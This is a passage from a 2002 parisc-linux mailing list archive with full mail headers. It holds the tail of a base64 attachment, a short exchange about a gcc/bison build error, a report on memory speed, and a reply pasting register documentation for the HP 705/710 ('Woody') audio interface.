> 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
> AA==
> 
> --W/nzBZO5zC0uMSeA--
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 


-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:21:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FWD: gcc-3.0.3: ICE in reload_cse_simplify on hppa-linux
Date: Mon, 7 Jan 2002 23:32:18 -0800
Lines: 14
Approved: news@gmane.org
Message-ID: <20020108073218.GC16533@tausq.org>
References: <20020107163156.GE3247@tausq.org> <200201080407.g0847NUh002619@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620936 545 80.91.229.3 (22 Nov 2014 01:48:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:56 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  8 00:32:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3E6D7482A
	for <parisc-linux@parisc-linux.org>; Tue,  8 Jan 2002 00:32:33 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id vspekaaa for parisc-linux@parisc-linux.org; Tue, 8 Jan 2002 00:26:46 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16Nqk6-00074k-00; Mon, 07 Jan 2002 23:32:18 -0800
Content-Disposition: inline
In-Reply-To: <200201080407.g0847NUh002619@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.24i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13637

> What version of bison are you using?  I suspect that 1.29 may have problems.
> I am currently using 1.30.  I also think 1.28 is ok.  I saw one instance
> of a problem similar to this with 1.29, although it wasn't on the PA.

i'm already using 1.30 unfortunately.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:21:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?q?Hinrich=20Aue?= <hinrich_aue@yahoo.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] initial mem speed measuring
Date: Tue, 8 Jan 2002 09:26:41 +0100 (CET)
Lines: 13
Approved: news@gmane.org
Message-ID: <20020108082641.8674.qmail@web21210.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620936 546 80.91.229.3 (22 Nov 2014 01:48:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  8 01:26:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web21210.mail.yahoo.com (web21210.mail.yahoo.com [216.136.175.253])
	by dsl2.external.hp.com (Postfix) with SMTP id DEC11482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Jan 2002 01:26:42 -0700 (MST)
Original-Received: from [192.69.234.26] by web21210.mail.yahoo.com via HTTP; Tue, 08 Jan 2002 09:26:41 CET
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13638

Did anyone notice the amazing speed at the mem speed
measure? it's about 1.8 GB/sec(?) on my 715/80.
Maybe 1.8GB/sec is wrong, but it' *really* fast.
I will post mey dmesg later on, I'm currently at work.
Perhaps the wrong method is choosen.


__________________________________________________________________

Gesendet von Yahoo! Mail - http://mail.yahoo.de
Ihre E-Mail noch individueller? - http://domains.yahoo.de



From - Thu Nov 08 21:21:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Enrik Berkhan <Enrik.Berkhan@planb.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] any info on 710/Bushmaster Audio available?
Date: Tue, 8 Jan 2002 09:37:39 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20020108093739.A28512@electra.intern.planb.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620937 550 80.91.229.3 (22 Nov 2014 01:48:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  8 01:37:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.planb.de (aldebaran.planb.de [212.227.14.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id C956F482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Jan 2002 01:37:41 -0700 (MST)
Original-Received: from electra.intern.planb.de (andromeda.planb.de [212.227.19.14])
	by mail.planb.de with esmtp 
	id 16NrlL-00027Y-00; Tue, 08 Jan 2002 09:37:39 +0100
Content-Disposition: inline
User-Agent: Mutt/1.3.23i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13639

Hi,

I'd like to make the audio part of my 710 usable, even if it's only
'voice quality' according to the LASI docs.

Actually, I can't find much documentation for this part. It's
mentioned in the LASI docs, but no details of course. I understand
that it should be in the "Cobra/Coral I/O ESR", that is not available
yet(?). I found some mails in the list archive promising to make it
available in 1999 ;-) Is there a status? Maybe something like the
"Vivace ESR" would be helpful, too.

Thanks,
Enrik
-- 
Enrik Berkhan                                         plan b. GmbH
                                                      Rppurrer Strae 4
+49-721-388582 (voice)                                76137 Karlsruhe
+49-721-388581 (fax)                                  Germany



From - Thu Nov 08 21:21:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] any info on 710/Bushmaster Audio available?
Date: Tue, 8 Jan 2002 05:30:04 -0700 (MST)
Lines: 152
Approved: news@gmane.org
Message-ID: <200201081230.FAA22547@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620937 553 80.91.229.3 (22 Nov 2014 01:48:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  8 05:30:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id F395B482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Jan 2002 05:30:05 -0700 (MST)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel9.hp.com (Postfix) with ESMTP id BEC94E00231
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Jan 2002 07:30:04 -0500 (EST)
Original-Received: (from jsm@localhost)
	by udlkern.fc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) id FAA22547
	for parisc-linux@lists.parisc-linux.org; Tue, 8 Jan 2002 05:30:04 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13640

> I'd like to make the audio part of my 710 usable, even if it's only
> 'voice quality' according to the LASI docs.
>
> Actually, I can't find much documentation for this part. It's
> mentioned in the LASI docs, but no details of course. I understand
> that it should be in the "Cobra/Coral I/O ESR", that is not available
> yet(?). I found some mails in the list archive promising to make it
> available in 1999 ;-) Is there a status? Maybe something like the
> "Vivace ESR" would be helpful, too.

The hardball ERS that is available is almost an exact duplicate of the
Cobra/Coral ERS, i.e. not that much changed. Neither document provides
any info on the 705/710 audio interface. The Vivace ERS is the document
that describes the first implementation of CD quality audio. That
functionality was incorporated into LASI in later machines, and the
interface is essentially the same. That document would not be helpful
for the 705/710 either.

The audio codec on the 705/710 is a Siemens PSB 2160. I tried looking
on their website for information, and the only info I found was that
it was replaced by the PSB 2161. I don't know if you can still find
documentation on that old chip, or if the PSB 2161 is programmatically
similar. I cannot currently locate my printed documentation on the
chip.

The interface to the PSB 2160 is the same as what was developed for
"Woody", otherwise known as a 425e, which was a 68040 based HP
workstation. I've enclosed what little documentation exists for
the 68040 interface. If you can find documentation on the PSB 2160
then you should be able to use the following information to write
a driver.

Note that what is meant by "voice" quality is that the codec only
supports a fixed sampling rate if 8 Khz. Note that this interface
does not support dma, it is a PIO device only.

John Marvin
jsm@fc.hp.com

-----

	Woody Audio Interface
	---------------------

Below find the preliminary software model for the Woody audio interface.
This interface incorporates an inbound FIFO, an outbound FIFO, and a
control FIFO that interfaces to a CODEC (coder/decoder).  The CODEC is a
SIEMENS PSB2160 that contains an 8kHz sampling rate D/A, A/D, programable
input/ouput gain and filter coefficients.  The converters will
generate/accept uLaw ("MULAW") or Alaw 8 bit data or 16 bit linear data (I
beleive that the converters only have about 13 significant bits) The CODEC
also has a DTMF (dual tone multiple frequency) generator, a tone
generator, and a ringing generator and software selectable internal
speaker or headphones.

Basically there are three communications channels which can be fully
overlapped.  They are the inbound and outbound data and the control
channels.  The inbound data channel is digitized microphone input and has
a 128 byte FIFO although software should not depend on this size.  The
outbound data channel drives either the internal speaker or the headphones
jack, this channel also has a 128 byte FIFO.  The control channel is
outbound only and controls the operation of the CODEC.  Control commands
are 1 to 9 bytes in length and must be sent to the CODEC in successive
125us Frames.  The control channel has a 16 byte FIFO, and software should
guarantee that an entire command is written to the FIFO before the FIFO
drains -- this shouldn't be too hard since it drains at an 8k byte/s rate.
The controller will automatically send a NOP (FF) command to the CODEC if
there is nothing in the control FIFO, and will send a zero (00) data byte
to the CODEC if there is nothing in the outbound FIFO.

Register 1 (offset 1 from base address): byte

	read:	ID:	0x13 (19)	This is the card ID
	write:	reset.			This will reset the FIFOs and machine.

Register 3 (offset 3): byte

	read:	Status:	bit 7 (MSB)	IE (r/w) interrupt enable
			bit 6  		IR (r)interrupt request. 
			bit 5,4         IL1,IL0; interrupt level (1,1;level 6)
			bit 3		16 bit mode if set (1), 8 bit otherwise
			bit 2		Control channel enable if set (1)
			bit 1           0
			bit 0		Inbound channel enable if set (1)
					 Clears inbound FIFO if clear (0)

			Power-up/reset value is 0x30.

	write:	Status:	bit 7 (MSB)	IE (r/w) interrupt enable
			bit 6  		readonly
			bit 5,4		readonly
			bit 3		16 bit mode
			bit 2		control channel enable
			bit 1           readonly
			bit 0		inbound channel enable

Register 5 (offset 5): byte

	read:	intr  :	bit 7 (MSB)	Outbound FIFO empty interrupt enable.
			bit 6 		Control FIFO empty interrupt enable.
			bit 5  		Outbound FIFO less than half full
					 interrupt enable.
			bit 4  		Inbound FIFO more than half full
					 interrupt enable.
			bit 3  		Outbound FIFO empty interrupt request.
			bit 2  		Control FIFO empty interrupt request.
			bit 1  		Outbound FIFO less than half full
					 interrupt request.
			bit 0  		Inbound FIFO more than half full
					 interrupt request.

	write:	intr  :	bit 7 (MSB)	Outbound FIFO empty interrupt enable.
			bit 6 		Control FIFO empty interrupt enable.
			bit 5  		Outbound FIFO less than half full
					 interrupt enable.
			bit 4  		Inbound FIFO more than half full
					 interrupt enable.
			bit 3  		readonly
			bit 2  		readonly
			bit 1  		readonly
			bit 0  		readonly

Register 7 (offset 7): byte, readonly

	read:	intr  :	bit 7 (MSB)	Undefined
			bit 6 		Undefined
			bit 5  		Control FIFO full
			bit 4  		Control FIFO empty
			bit 3  		Outbound FIFO full
			bit 2  		Outbound FIFO empty
			bit 1  		Inbound FIFO full
			bit 0  		Inbound FIFO empty

Register 9 (offset 9): byte

	read:	inbound Data:		Read data from inbound FIFO
					 (must be enabled and not EMPTY)
	write:	outbound Data:		Write data to outbound FIFO
					 (must not be FULL)

Register 11 (offset 11): byte, writeonly

	write:  control Data:           Write data to control FIFO
					 (must not be FULL)


The interrupts asserted when the FIFO is less than half full on outbound
transfers or greater than half full on inbound transfers have 16 byte
resolution -- 64 bytes +/- 16 bytes is half-full/empty.




From - Thu Nov 08 21:21:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@elvis.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] any info on 710/Bushmaster Audio available?
Date: Tue, 8 Jan 2002 14:44:36 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <20020108134436.GA24909@elvis.franken.de>
References: <200201081230.FAA22547@udlkern.fc.hp.com>
Reply-To: tsbogend@alpha.franken.de
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
